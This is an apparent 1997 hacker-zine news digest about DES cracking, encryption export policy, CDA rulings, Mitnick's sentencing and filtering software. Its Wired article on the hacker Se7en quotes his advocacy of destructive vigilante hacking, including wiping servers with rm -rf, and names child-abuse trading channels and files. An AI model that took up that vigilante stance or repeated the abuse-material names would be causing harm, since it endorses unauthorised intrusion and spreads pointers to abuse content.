"That DES can be broken so quickly should send a chill through the heart of anyone relying on it for secure communications," said Sameer Parekh, one of the group's participants and president of C2Net Software, an Internet encryption provider headquartered in Oakland, California (http://www.c2.net/). "Unfortunately, most people today

using the Internet assume the browser software is performing secure communications when an image of a lock or a key appears on the screen. Obviously, that is not true when the encryption scheme is 56‑bit DES," he said.

INetZ vice president Jon Gay said "We hope that this will encourage people to demand the highest available encryption security, such as the 128‑bit security provided by C2Net's Stronghold product, rather than the weak 56‑bit ciphers used in many other platforms."

Many browser programs have been crippled to use an even weaker, 40‑bit cipher, because that is the maximum encryption level the

U.S. government has approved for export. "People located within the US can obtain more secure browser software, but that usually involves submitting an affidavit of eligibility, which many people have not done," said Parekh. "Strong encryption is not allowed to be exported from the U.S., making it harder for people and businesses in international locations to communicate securely," he explained.

According to computer security expert Ian Goldberg, "This effort emphasizes that security systems based on 56‑bit DES or "export‑quality" cryptography are out‑of‑date, and should be phased out. Certainly no new systems should be designed with such weak encryption.'' Goldberg is a member of the University of California at Berkeley's ISAAC group, which discovered a serious security flaw in the popular Netscape Navigator web browser software.

The 56‑bit DES cipher was broken in 5 months, significantly faster than the hundreds of years thought to be required when DES was adopted as a national standard in 1977. The weakness of DES can be traced to its "key length," the number of binary digits (or "bits") used in its encryption algorithm. "Export grade" 40‑bit encryption schemes can be broken in less than an hour, presenting serious security risks for companies seeking to protect sensitive information, especially those whose competitors might receive code‑breaking assistance from foreign governments.

According to Parekh, today's common desktop computers are tremendously more powerful than any computer that existed when DES was created. "Using inexpensive (under $1000) computers, the group was able to crack DES in a very short time," he noted. "Anyone with the resources and motivation to employ modern "massively parallel" supercomputers for the task can break 56‑bit DES ciphers even faster, and those types of advanced technologies will soon be present in common desktop systems, providing the keys to DES to virtually everyone in just a few more years."

56‑bit DES uses a 56‑bit key, but most security experts today consider a minimum key length of 128 bits to be necessary for secure encryption. Mathematically, breaking a 56‑bit cipher requires just 65,000 times more work than breaking a 40‑bit cipher. Breaking a 128‑bit cipher requires 4.7 trillion billion times as much work as one using 56 bits, providing considerable protection against brute‑force attacks and technical progress.

C2Net is the leading worldwide provider of uncompromised Internet security software. C2Net's encryption products are developed entirely outside the United States, allowing the firm to offer full‑strength cryptography solutions for international communications and commerce. "Our products offer the highest levels of security available today. We refuse to sell weak products that might provide a false sense of security and create easy targets for foreign governments, criminals, and bored college students," said Parekh. "We also oppose so‑called "key escrow" plans that would put everyone's cryptography keys in a few centralized locations where they can be stolen and sold to the highest bidder," he added. C2Net's products include the Stronghold secure web server and SafePassage Web Proxy, an enhancement that adds full‑strength encryption to any security‑crippled "export grade" web browser software.

0xd>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Hacker May Stolen JonBenet computer Documents

Source: Associated Press

Author: Jennifer Mears

BOULDER, Colo. (June 13, 1997 07:38 a.m. EDT) ‑‑ A computer hacker has infiltrated the system set aside for authorities investigating the slaying of JonBenet Ramsey, the latest blow to a heavily criticized inquiry.

[...despite the computer not being online or connected to other computers..]

Boulder police spokeswoman Leslie Aaholm said the computer was "hacked" sometime early Saturday. The incident was announced by police Thursday.

"We don't believe anything has been lost, but we don't know what, if anything, has been copied," said Detective John Eller, who is leading the investigation into the slaying of the 6‑year‑old girl nearly six months ago.

The computer is in a room at the district attorney's office that police share with the prosecutor's investigators. The room apparently had not been broken into. Computer experts with the Colorado Bureau of Investigations were examining equipment to determine what had been done.

[Bullshit. It was later found out that the machine was not hacked at all.]

0xe>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Hacker Vows 'Terror' for Pornographers

Source: Wired

Author: Steve Silberman

After 17 years in the hacker underground, Christian Valor ‑ well known among old‑school hackers and phone phreaks as "Se7en" ‑ was convinced that most of what gets written in the papers about computers and hacking is sensationalistic jive. For years, Valor says, he sneered at reports of the incidence of child pornography on the Net as "exaggerated/over‑hyped/fearmongered/bullshit."

Now making his living as a lecturer on computer security, Se7en claims he combed the Net for child pornography for eight weeks last year without finding a single image.

That changed a couple of weeks ago, he says, when a JPEG mailed by an anonymous prankster sent him on an odyssey through a different kind of underground: IRC chat rooms with names like #littlegirlsex, ftp directories crammed with filenames like 6yoanal.jpg and 8&dad.jpg, and newsgroups like alt.binaries.pictures.erotica.pre‑teen. The anonymous file, he says, contained a "very graphic" image of a girl "no older than 4 years old."

On 8 June, Se7en vowed on a hacker's mailing list to deliver a dose of "genuine hacker terror" to those who upload and distribute such images on the Net. The debate over his methods has stirred up tough questions among his peers about civil liberties, property rights, and the ethics of vigilante justice.

A declaration of war

What Se7en tapped into, he says, was a "very paranoid" network of traders of preteen erotica. In his declaration of "public war" posted to a mailing list devoted to an annual hacker's convention called DefCon ‑ Se7en explains that the protocol on most child‑porn servers is to upload selections from your own stash, in exchange for credits for more images.

What he saw on those servers made him physically sick, he says. "For someone who took a virtual tour of the kiddie‑porn world for only one day," he writes, "I had the opportunity to fully max out an Iomega 100‑MB Zip disc."

Se7en's plan to "eradicate" child‑porn traders from the Net is "advocating malicious, destructive hacking against these people." He has enlisted the expertise of two fellow hackers for the first wave of attacks, which are under way.

Se7en feels confident that legal authorities will look the other way when the victims of hacks are child pornographers ‑ and he claims that a Secret Service agent told him so explicitly. Referring to a command to wipe out a hard drive by remote access, Se7en boasted, "Who are they going to run to? The police? 'They hacked my kiddie‑porn server and rm ‑rf'd my computer!' Right."

Se7en claims to have already "taken down" a "major player" ‑ an employee of Southwestern Bell who Se7en says was "posting ads all over the place." Se7en told Wired News that he covertly watched the man's activities for days, gathering evidence that he emailed to the president of Southwestern Bell. Pseudonymous remailers like hotmail.com and juno.com, Se7en insists, provide no security blanket for traders against hackers uncovering their true identities by cracking server logs. Se7en admits the process of gaining access to the logs is time consuming, however. Even with three hackers on the case, it "can take two or three days. We don't want to hit the wrong person."

A couple of days after submitting message headers and logs to the president and network administrators of Southwestern Bell, Se7en says, he got a letter saying the employee was "no longer on the payroll."

The hacker search for acceptance

Se7en's declaration of war received support on the original mailing list. "I am all for freedom of speech/expression," wrote one poster, "but there are some things that are just wrong.... I feel a certain moral obligation to the human race to do my part in cleaning up the evil."

Federal crackdowns targeting child pornographers are ineffective, many argued. In April, FBI director Louis Freeh testified to the Senate that the bureau operation dubbed "Innocent Images" had gathered the names of nearly 4,000 suspected child‑porn traffickers into its database. Freeh admitted, however, that only 83 of those cases resulted in convictions. (The Washington Times reports that there have also been two suicides.)

The director's plan? Ask for more federal money to fight the "dark side of the Internet" ‑ US$10 million.

Pitching in to assist the Feds just isn't the hacker way. As one poster to the DefCon list put it, "The government can't enforce laws on the Internet. We all know that. We can enforce laws on the Internet. We all know that too."

The DefCon list was not a unanimous chorus of praise for Se7en's plan to give the pornographers a taste of hacker terror, however. The most vocal dissenter has been Declan McCullagh, Washington correspondent for the Netly News. McCullagh is an outspoken champion of constitutional rights, and a former hacker himself. He says he was disturbed by hackers on the list affirming the validity of laws against child porn that he condemns as blatantly unconstitutional.

"Few people seem to realize that the long‑standing federal child‑porn law outlawed pictures of dancing girls wearing leotards," McCullagh wrote ‑ alluding to the conviction of Stephen Knox, a graduate student sentenced to five years in prison for possession of three videotapes of young girls in bathing suits. The camera, the US attorney general pointed out, lingered on the girls' genitals, though they remained clothed. "The sexual implications of certain modes of dress, posture, or movement may readily put the genitals on exhibition in a lascivious manner, without revealing them in a nude display," the Feds argued and won.

It's decisions like Knox v. US, and a law criminalizing completely synthetic digital images "presented as" child porn, McCullagh says, that are making the definition of child pornography unacceptably broad: a "thought crime."

The menace of child porn is being exploited by "censor‑happy" legislators to "rein in this unruly cyberspace," McCullagh says. The rush to revile child porn on the DefCon list, McCullagh told Wired News, reminded him of the "loyalty oaths" of the McCarthy era.

"These are hackers in need of social acceptance," he says. "They've been marginalized for so long, they want to be embraced for stamping out a social evil." McCullagh knows his position is a difficult one to put across to an audience of hackers. In arguing that hackers respect the property rights of pornographers, and ponder the constitutionality of the laws they're affirming, McCullagh says, "I'm trying to convince hackers to respect the rule of law, when hacking systems is the opposite of that."

But McCullagh is not alone. As the debate over Se7en's declaration spread to the cypherpunks mailing list and alt.cypherpunks frequented by an older crowd than the DefCon list ‑ others expressed similar reservations over Se7en's plan.

"Basically, we're talking about a Dirty Harry attitude," one network technician/cypherpunk told Wired News. Though he senses "real feeling" behind Se7en's battle cry, he feels that the best way to deal with pornographers is to "turn the police loose on them." Another participant in the discussion says that while he condemns child porn as "terrible, intrinsically a crime against innocence," he questions the effectiveness of Se7en's strategy.

"Killing their computer isn't going to do anything," he says, cautioning that the vigilante approach could be taken up by others. "What happens if you have somebody who doesn't like abortion? At what point are you supposed to be enforcing your personal beliefs?"

Raising the paranoia level

Se7en's loathing for aficionados of newsgroups like alt.sex.pedophilia.swaps runs deeper than "belief." "I myself was abused when I was a kid," Se7en told Wired News. "Luckily, I wasn't a victim of child pornography, but I know what these kids are going through."

With just a few hackers working independently to crack server logs, sniff IP addresses, and sound the alarm to network administrators, he says, "We can take out one or two people a week ... and get the paranoia level up," so that "casual traders" will be frightened away from IRC rooms like "#100%preteensexfuckpics."

It's not JPEGs of clothed ballerinas that raise his ire, Se7en says. It's "the 4‑year‑olds being raped, the 6‑year‑old forced to have oral sex with cum running down themselves." Such images, Se7en admits, are very rare ‑ even in online spaces dedicated to trading sexual imagery of children.

"I know what I'm doing is wrong. I'm trampling on the rights of these guys," he says. "But somewhere in the chain, someone is putting these images on paper before they get uploaded. Your freedom ends when you start hurting other people."

0xf>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Mitnick Gets 22 Month Sentence

Source: LA Times

Author: Julie Tamaki

Date: Tuesday, June 17, 1997

A federal judge indicated Monday that she plans to sentence famed computer hacker Kevin Mitnick to 22 months in prison for cellular phone fraud and violating his probation from an earlier computer crime conviction.

The sentencing Monday is only a small part of Mitnick's legal problems. Still pending against him is a 25‑count federal indictment accusing him of stealing millions of dollars in software during an elaborate hacking spree while he was a fugitive. A trial date in that case has yet to be set.

U.S. District Judge Mariana R. Pfaelzer on Monday held off on formally sentencing Mitnick for a week in order to give her time to draft conditions for Mitnick's probation after he serves the prison term.

Pfaelzer said she plans to sentence Mitnick to eight months on the cellular phone fraud charge and 14 months for violating his probation from a 1988 computer‑hacking conviction, Assistant U.S. Atty. Christopher Painter said. The sentences will run consecutively.

Mitnick faces the sentence for violating terms of his probation when he broke into Pac Bell voice mail computers in 1992 and used stolen passwords of Pac Bell security employees to listen to voice mail, Painter said. At the time, Mitnick was employed by Teltec Communications, which was under investigation by Pac Bell.

0x10>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: New York Judge Prohibits State Regulation of Internet Source: unknown

Author: unknown

Date: Friday, June 20, 1997

NEW YORK ‑‑ As the nation awaits a Supreme Court decision on Internet censorship, a federal district judge here today blocked New York State from enforcing its version of the federal Communications Decency Act (CDA).

Ruling simultaneously in ACLU v. Miller, another ACLU challenge to state Internet regulation, a Federal District Judge in Georgia today struck down a law criminalizing online anonymous speech and the use of trademarked logos as links on the World Wide Web.

In ALA v. Pataki, Federal District Judge Loretta A. Preska issued a preliminary injunction against the New York law, calling the Internet an area of commerce that should be marked off as a "national preserve" to protect online speakers from inconsistent laws that could "paralyze development of the Internet altogether."

Judge Preska, acknowledging that the New York act was "clearly modeled on the CDA," did not address the First Amendment issues raised by the ACLU's federal challenge, saying that the Commerce Clause provides "fully adequate support" for the injunction and that the Supreme Court would address the other issues in its widely anticipated decision in Reno v. ACLU. (The Court's next scheduled decision days are June 23, 25 and 26.)

"Today's decisions in New York and Georgia say that, whatever limits the Supreme Court sets on Congress's power to regulate the Internet, states are prohibited from acting to censor online expression," said Ann Beeson, an ACLU national staff attorney who argued the case before Judge Preska and is a member of the ACLU v. Miller and Reno v. ACLU legal teams.

"Taken together, these decisions send a very important and powerful message to legislators in the other 48 states that they should keep their hands off the Internet," Beeson added.

In a carefully reasoned, 62‑page opinion, Judge Preska warned of the extreme danger that state regulation would pose to the Internet, rejecting the state's argument that the statute would even be effective in preventing so‑called "indecency" from reaching minors. Further, Judge Preska observed, the state can already protect children through the vigorous enforcement of existing criminal laws.

"In many ways, this decision is more important for the business community than for the civil liberties community," said Chris Hansen, a senior ACLU attorney on the ALA v. Pataki legal team and lead counsel in Reno v. ACLU. "Legislatures are just about done with their efforts to regulate the business of Internet 'sin,' and have begun turning to the business of the Internet itself. Today's decision ought to stop that trend in its tracks."

Saying that the law would reduce all speech on the Internet to a level suitable for a six‑year‑old, the American Civil Liberties Union, the New York Civil Liberties Union, the American Library Association and others filed the challenge in January of this year.

The law, which was passed by the New York legislature late last year, provides criminal sanctions of up to four years in jail for communicating so‑called "indecent" words or images to a minor.

In a courtroom hearing before Judge Preska in April, the ACLU presented a live Internet demonstration and testimony from plaintiffs who said that their speech had already been "chilled" by the threat of criminal prosecution.

"This is a big win for the people of the state of New York," said Norman Siegel, Executive Director of the New York Civil Liberties Union. "Today's ruling vindicates what we have been saying all along to Governor Pataki and legislators, that they cannot legally prevent New Yorkers from engaging in uninhibited, open and robust freedom of expression on the Internet."

The ALA v. Pataki plaintiffs are: the American Library Association, the Freedom to Read Foundation, the New York Library Association, the American Booksellers Foundation for Free Expression, Westchester Library System, BiblioBytes, Association of American Publishers, Interactive Digital Software Association, Magazine Publishers of America, Public Access Networks Corp. (PANIX), ECHO, NYC Net, Art on the Net, Peacefire and the American Civil Liberties Union.

Michael Hertz and others of the New York firm Latham & Watkins provided pro‑bono assistance to the ACLU and NYCLU; Michael Bamberger of Sonnenschein Nath & Rosenthal in New York is also co‑counsel in the case. Lawyers from the ACLU are Christopher Hansen, Ann Beeson and Art Eisenberg, legal director of the NYCLU.

0x11>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Breaking the Crypto Barrier

Source: Wired

Author: Chris Oakes

Date: 5:03am 20.Jun.97.PDT

Amid a striking convergence of events bearing on

US encryption policy this week, one development underlined what many see as the futility of the Clinton administration's continuing effort to block the export of strong encryption: The nearly instantaneous movement of PGP's 128‑bit software from its authorized home on a Web server at MIT to at least one unauthorized server in Europe.

Shortly after Pretty Good Privacy's PGP 5.0 freeware was made available at MIT on Monday, the university's network manager, Jeffrey Schiller, says he read on Usenet that the software had already been transmitted to a foreign FTP server. Ban or no ban, someone on the Net had effected the instant export of a very strong piece of code. On Wednesday, Wired News FTP'd the software from a Dutch server, just like anyone with a connection could have.

A Commerce Department spokesman said his office was unaware of the breach.

The event neatly coincided with the appearance of a new Senate bill that seeks to codify the administration's crypto policy, and an announcement Wednesday that an academic/corporate team had succeeded in breaking the government's standard 56‑bit code.

The software's quick, unauthorized spread to foreign users might have an unexpected effect on US law, legal sources noted.

"If [Phil] Zimmermann's [original PGP] software hadn't gotten out on the Internet and been distributed worldwide, unquestionably we wouldn't have strong encryption today," said lawyer Charles Merrill, who chairs his firm's computer and high‑tech law‑practice group. Actions like the PGP leak, he speculated, may further the legal flow of such software across international borders.

Said Robert Kohn, PGP vice president and general counsel: "We're optimistic that no longer will PGP or companies like us have to do anything special to export encryption products."

The Web release merely sped up a process already taking place using a paper copy of the PGP 5.0 source code and a scanner ‑ reflecting the fact it is legal to export printed versions of encryption code.

On Wednesday, the operator of the International PGP Home Page announced that he had gotten his hands on the 6,000‑plus‑page source code, had begun scanning it, and that a newly compiled version of the software will be available in a few months.

Norwegian Stale Schumaker, who maintains the site, said several people emailed and uploaded copies of the program to an anonymous FTP server he maintains. But he said he deleted the files as soon as he was aware of them, because he wants to "produce a version that is 100 percent legal" by scanning the printed code.

The paper copy came from a California publisher of technical manuals and was printed with the cooperation of PGP Inc. and its founder, Phil Zimmermann. Schumaker says he does not know who mailed his copy.

"The reason why we publish the source code is to encourage peer review," said PGP's Kohn, "so independent cryptographers can tell other people that there are no back doors and that it is truly strong encryption."

Schumaker says his intentions are farther‑reaching.

"We are a handful of activists who would like to see PGP spread to the whole world," his site reads, alongside pictures of Schumaker readying pages for scanning. "You're not allowed to download the program from MIT's Web server because of the archaic laws in the US. That's why we exported the source‑code books."

0x12>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Setback in Efforts to Secure Online Privacy

Source: unknown

Author: unknown

Date: Thursday, June 19, 1997

WASHINGTON ‑‑ A Senate committee today setback legislative efforts to secure online privacy, approving legislation that would restrict the right of businesses and individuals both to use encryption domestically and to export it.

On a voice vote, the Senate Commerce Committee adopted legislation that essentially reflects the Clinton Administration's anti‑encryption policies.

The legislation approved today on a voice vote by the Senate Commerce Committee was introduced this week by Senate Commerce Committee Chairman John McCain, Republican of Arizona, and co‑sponsored by Democrats Fritz Hollings of South Carolina; Robert Kerry of Nebraska and John Kerry of Massachusetts.

Encryption programs scramble information so that it can only be read with a "key" ‑‑ a code the recipient uses to unlock the scrambled electronic data. Programs that use more than 40 bits of data to encode information are considered "strong" encryption. Currently, unless these keys are made available to the government, the Clinton Administration bans export of hardware or software containing strong encryption, treating these products as "munitions."

Privacy advocates continue to criticize the Administration's stance, saying that the anti‑cryptography ban has considerably weakened U.S. participation in the global marketplace, in addition to curtailing freedom of speech by denying users the right to "speak" using encryption. The ban also violates the right to privacy by limiting the ability to protect sensitive information in the new computerized world.

Today's committee action knocked out of consideration the so‑called "Pro‑CODE" legislation, a pro‑encryption bill introduced by Senator Conrad Burns, Republican of Montana. Although the Burns legislation raised some civil liberties concerns, it would have lifted export controls on encryption programs and generally protected individual privacy.

"Privacy, anonymity and security in the digital world depend on encryption," said Donald Haines, legislative counsel on privacy and cyberspace issues for the ACLU's Washington National Office. "The aim of the Pro‑CODE bill was to allow U.S. companies to compete with industries abroad and lift restrictions on the fundamental right to free speech, the hallmark of American democracy."

"Sadly, no one on the Commerce Committee, not even Senator Burns, stood up and defended the pro‑privacy, pro‑encryption effort," Haines added.

In the House, however, strong encryption legislation that would add new privacy protections for millions of Internet users in this country and around the world has been approved by two subcommittees.

The legislation ‑‑ H.R. 695, the "Security and Freedom Through Encryption Act" or SAFE ‑‑ would make stronger encryption products available to American citizens and users of the Internet around the world. It was introduced by Representative Robert W. Goodlatte, Republican of Virginia.

"We continue to work toward the goal of protecting the privacy of all Internet users by overturning the Clinton Administration's unreasonable encryption policy," Haines concluded

0x13>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Captain Crunch Web Site Now Moved

Source: Telecom Digest 17.164

The Cap'n Crunch home page URL has been changed. The new URL is now http://crunch.woz.org/crunch

I've made significant changes to the site, added a FAQ based on a lot of people asking me many questions about blue boxing, legal stuff, and hacking in general. The FAQ will be growing all the time, as I go through all the requests for information that many people have sent. "Email me" if you want to add more questions.

Our new server is now available to host web sites for anyone who wants to use it for interesting projects. This is for Elite people only, and you have to send me a proposal on what you plan to use it for.

[So now old John gets to decide who is elite and who isn't.]

I'm open for suggestions, and when you go up to the WebCrunchers web site: http://crunch.woz.org

You'll get more details on that. Our server is a Mac Power PC, running WebStar web server, connected through a T‑1 link to the backbone. I know that the Mac Webserver might be slower, but I had security in mind when I picked it. Besides, I didn't pick it, Steve Wozniak did... :‑) So please don't flame me for using a Mac.

I know that Mac's are hated by hackers, but what the heck ... at least we got our OWN server now.

I also removed all the blatant commercial hipe from the home page and put it elsewhere. But what the heck ... I should disserve to make SOME amount of money selling things like T‑shirts and mix tapes.

We plan to use it for interesting projects, and I want to put up some Audio files of Phone tones. For instance, the sound of a blue box call going through, or some old sounds of tandom stacking. If there are any of you old‑timers out there that might have some interesting audio clips of these sounds, please get in touch with me.

[There is already a page out there with those sounds and a lot more.. done by someone who discovered phreaking on their own. Little known fact because of all the obscurement: John Draper did not discover blue boxing. It was all taught to him.]

Our new Domain name registration will soon be activated, and at that time our URL will be:

http://www.webcrunchers.com ‑ Our Web hosting server

http://www.webcrunchers.com/crunch ‑ Official Cap'n Crunch home page

Regards,

Cap'n Crunch

0x14>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: US Justive Dept. Investigating Network Solutions

Source: New York Times

Author: Agis Salpukas

Date: 7 July '97

The Justice Department has begun an investigation into the practice of assigning Internet addresses to determine if the control that Network Solutions Inc. exercises over the process amounts to a violation of antitrust laws.

The investigation was disclosed by the company Thursday in documents filed with the Securities and Exchange Commission. The filing came as part of a proposed initial stock offering that is intended to raise $35 million.

The investigation was first reported in The Washington Post on Sunday.

Network Solutions, which is based in Herndon, Va., and is a subsidiary of Science Applications International Corp., has been the target of a growing chorus of complaints and two dozen lawsuits as the Internet has expanded and the competition for these addresses, or domain names, has grown more intense.

0x15>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Cyber Patrol Bans Crypt Newsletter

Source: Crypt Newsletter

Author: George Smith

Date: June 19, 1997

Hey, buddy, did you know I'm a militant extremist? Cyber Patrol, the Net filtering software designed to protect your children from cyberfilth, says so. Toss me in with those who sleep with a copy of "The Turner Diaries" under their pillows and those who file nuisance liens against officials of the IRS. Seems my Web site is dangerous viewing.

I discovered I was a putative militant extremist while reading a story on Net censorship posted on Bennett Haselton's PeaceFire Web site. Haselton is strongly critical of Net filtering software and he's had his share of dustups with vendors like Cyber Patrol, who intermittently ban his site for having the temerity to be a naysayer.

Haselton's page included some links so readers could determine what other Web pages were banned by various Net filters. On a lark, I typed in the URL of the Crypt Newsletter, the publication I edit. Much to my surprise, I had been banned by Cyber Patrol. The charge? Militant extremism. Cyber Patrol also has its own facility for checking if a site is banned, called the CyberNOT list. Just to be sure, I double‑checked. Sure enough, I was a CyberNOT.

Now you can call me Ray or you can call me Joe, but don't ever call me a militant extremist! I've never even seen one black helicopter transporting U.N. troops to annex a national park.

However, nothing is ever quite as it seems on the Web and before I went into high dudgeon over political censorship‑‑the Crypt Newsletter has been accused of being "leftist" for exposing various government, academic, and software industry charlatans‑‑I told some of my readership. Some of them wrote polite‑‑well, almost polite‑‑letters to Debra Greaves, Cyber Patrol's head of Internet research. And Greaves wrote back almost immediately, indicating it had all been a mistake.

My Web site was blocked as a byproduct of a ban on another page on the same server. "We do have a [blocked] site off of that server with a similar directory. I have modified the site on our list to be more unique so as to not affect [your site] any longer," she wrote.

Perhaps I should have been reassured that Cyber Patrol wasn't banning sites for simply ridiculing authority figures, a favorite American past time. But if anything, I was even more astonished to discover th company's scattershot approach to blocking. It doesn't include precise URLs in its database. Instead, it prefers incomplete addresses that block everything near the offending page. The one that struck down Crypt News was "soci.niu.edu/~cr," a truncated version of my complete URL. In other words: any page on the machine that fell under "~cr" was toast.

Jim Thomas, a sociology professor at Northern Illinois University, runs this particular server, and it was hard to imagine what would be militantly extreme on it. Nevertheless, I ran the news by Thomas. It turns out that the official home page of the American Society of Criminology's Critical Criminology Division, an academic resource, was the target. It features articles from a scholarly criminology journal and has the hubris to be on record as opposing the death penalty but didn't appear to have anything that would link it with bomb‑throwing anarchists, pedophiles, and pornographers.

There was, however, a copy of the Unabomber Manifesto on the page.

I told Thomas I was willing to bet $1,000 cash money that Ted Kaczynski's rant was at the root of Cyber Patrol's block.

Thomas confirmed it, but I can't tell you his exact words. It might get this page blocked, too.

What this boils down to is that Cyber Patrol is banning writing on the Web that's been previously published in a daily newspaper: The Washington Post. It can also be said the Unabomber Manifesto already has been delivered to every corner of American society.

If the ludicrous quality of this situation isn't glaring enough, consider that one of Cyber Patrol's partners, CompuServe, promoted the acquisition of electronic copies of the Unabomber Manifesto after it published by the Post. And these copies weren't subject to any restrictions that would hinder children from reading them. In fact, I've never met anyone from middle‑class America who said, "Darn those irresponsible fiends at the Post! Now my children will be inspired to retreat to the woods, write cryptic essays attacking techno‑society, and send exploding parcels to complete strangers."

Have you?

So, will somebody explain to me how banning the Unabomber Manifesto, the ASC's Critical Criminology home page, and Crypt Newsletter protects children from smut and indecency? That's a rhetorical question.

Cyber Patrol is strongly marketed to public libraries, and has been acquired by some, in the name of protecting children from Net depravity.

Funny, I thought a public library would be one of the places you'd be more likely to find a copy of the Unabomber Manifesto.

0x16>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Some humor on media hacks and hackers

Source: Defcon Mailing List

Author: George Smith / Crypt Newsletter

In as fine a collection of stereotypes as can be found, the Associated Press furnished a story on July 14 covering the annual DefCon hacker get together in Las Vegas. It compressed at least one hoary cliche into each paragraph.

Here is a summary of them.

The lead sentence: "They're self‑described nerds . . . "

Then, in the next sentence, "These mostly gawky, mostly male teen‑agers . . . also are the country's smartest and slyest computer hackers."

After another fifty words, "These are the guys that got beat up in high school and this is their chance to get back . . . "

Add a sprinkling of the obvious: "This is a subculture of computer technology . . ."

Stir in a paraphrased hacker slogan: "Hacking comes from an intellectual desire to figure out how things work . . ."

A whiff of crime and the outlaw weirdo: "Few of these wizards will identify themselves because they fear criminal prosecution . . . a 25‑year‑old security analyst who sports a dog collar and nose ring, is cautious about personal information."

Close with two bromides that reintroduce the stereotype:

"Hackers are not evil people. Hackers are kids."

As a simple satirical exercise, Crypt News rewrote the Associated Press story as media coverage of a convention of newspaper editors.

It looked like this:

LAS VEGAS ‑‑ They're self‑described nerds, dressing in starched white shirts and ties.

These mostly overweight, mostly male thirty, forty and fiftysomethings are the country's best known political pundits, gossip columnists and managing editors. On Friday, more than 1,500 of them gathered in a stuffy convention hall to swap news and network.

"These are the guys who ate goldfish and dog biscuits at frat parties in college and this is their time to strut," said Drew Williams, whose company, Hill & Knowlton, wants to enlist the best editors and writers to do corporate p.r.

"This is a subculture of corporate communicators," said Williams.

Journalism comes from an intellectual desire to be the town crier and a desire to show off how much you know, convention‑goers said. Circulation numbers and ad revenue count for more than elegant prose and an expose on the President's peccadillos gains more esteem from ones' peers than klutzy jeremiads about corporate welfare and white‑collar crime.

One group of paunchy editors and TV pundits were overheard

joking about breaking into the lecture circuit, where one well‑placed talk to a group of influential CEOs or military leaders could earn more than many Americans make in a year.

Few of these editors would talk on the record for fear of professional retribution. Even E.J., a normally voluble 45‑year‑old Washington, D.C., editorial writer, was reticent.

"Columnists aren't just people who write about the political scandal of the day," E.J. said cautiously. "I like to think of columnists as people who take something apart that, perhaps, didn't need taking apart."

"We are not evil people. We're middle‑aged, professional entertainers in gray flannel suits."

0x17>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Cellular Tracking Technologies

Source: unknown

Author: unknown

A recent article from the San Jose Mercury News by Berry Witt ("Squabble puts non‑emergency phone number on hold") raises several important questions ‑‑ questions I think are relavant to the CUD's readership...

Does anybody remember the FBI's request that cell phone companies must build in tracking technology to their systems that allows a person's position to be pin pointed by authorities? That suggested policy resulted in a flurry of privacy questions and protests from the industry, suggesting such requirements would force them to be uncompetitive in the global marketplace. The article, dated July 20, (which was focused on 911 cellular liability issues) suggests federal authorities may have worked out an end run around the controversy. The article states:

"The cellular industry is working to meet a federal requirement that by next spring, 911 calls from cellular phones provide dispatchers the location of the nearest cell site and that within five years, cellular calls provide dispatchers the location of the caller within a 125‑meter radius. "

On its face, this seems reasonable and it is a far cry from the real time tracking requirements of any cell phone that is turned on (The FBI's original request). But by next spring, this tracking system will be in place and on line. I have heard no public debate about the privacy implications regarding this "Federal Requirement", nor has there been any indication that this information will be restricted to 911 operators.

Will this information be available to law enforcement officials if they have a warrant? If they don't have a warrant? Will this information be secured so enterprising criminals won't have access to it? Exactly WHAT kind of security is being implemented so it WON'T be accessible to the general public.

This smacks of subterfuge. By cloaking the cellular tracking issue in the very real issue of the 911 location system, the federal government and law enforcement agencies have circumvented the legitimate privacy questions that arose from their initial Cellular tracking request.

0x18>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Court Mixes Internet Smut Provision

Source: Associated Press

Author: unknown

Date: June 26, 1997

WASHINGTON (AP) ‑‑ Congress violated free‑speech rights when it tried to curb smut on the Internet, the Supreme Court ruled today. In its first venture into cyberspace law, the court invalidated a key provision of the 1996 Communications Decency Act.

Congress' effort to protect children from sexually explicit material goes too far because it also would keep such material from adults who have a right to see it, the justices unanimously said.

The law made it a crime to put adult‑oriented material online where children can find it. The measure has never taken effect because it was blocked last year by a three‑judge court in Philadelphia.

``We agree with the three‑judge district court that the statute abridges the freedom of speech protected by the First Amendment,'' Justice John Paul Stevens wrote for the court.

``The (Communications Decency Act) is a content‑based regulation of speech,'' he wrote. ``The vagueness of such a regulation raises special First Amendment concerns because of its obvious chilling effect on free speech.''

``As a matter of constitutional tradition ... we presume that governmental regulation of the content of speech is more likely to interfere with the free exchange of ideas than to encourage it,'' Stevens wrote.

Sexually explicit words and pictures are protected by the Constitution's First Amendment if they are deemed indecent but not obscene.

0x1>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Book Title: Underground

Poster: Darren Reed

